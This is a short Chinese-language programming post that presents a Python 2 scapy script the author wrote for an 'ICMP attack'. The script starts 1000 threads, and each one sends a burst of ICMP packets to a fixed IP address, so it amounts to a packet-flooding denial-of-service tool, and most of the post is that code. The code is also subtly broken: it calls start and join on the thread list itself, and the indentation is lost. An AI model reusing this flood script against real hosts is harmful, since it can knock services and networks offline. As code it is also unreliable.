（Python）scapy——多线程发送icmp数据包
做icmp攻击时，先用Python写了发送数据包的函数。发送数据包用的是scapy模块，需要先安装：apt-get install python-scapy
'''
date:2014/12/3
author:yss
function:send packets from host to server with multithreading
'''
import threading
from time import sleep,ctime
from scapy.all import *
num=1000#the number of the thread
class MyThread(threading.Thread):
def __init__(self,func,args,name=''):
threading.Thread.__init__(self)
self.name=name
self.func=func
self.args=args
def run(self):
apply(self.func,self.args)
def send_packet():
send(IP(dst='192.168.85.132',ttl=(1,100))/ICMP())#each thread send 100 packets
def main():
print 'starting at:',ctime()
threads=[] #deposit thresds
#nloops=range(len(loops))
for i in range(num): #create an instance of an object
t=MyThread(send_packet,(),send_packet.__name__)
threads.append(t)
for i in range(num): #start threads
threads.start()
for i in range(num): #wait for all
threads.join()#threads to finish
print 'all done at:',ctime()
if __name__ == '__main__':
main()
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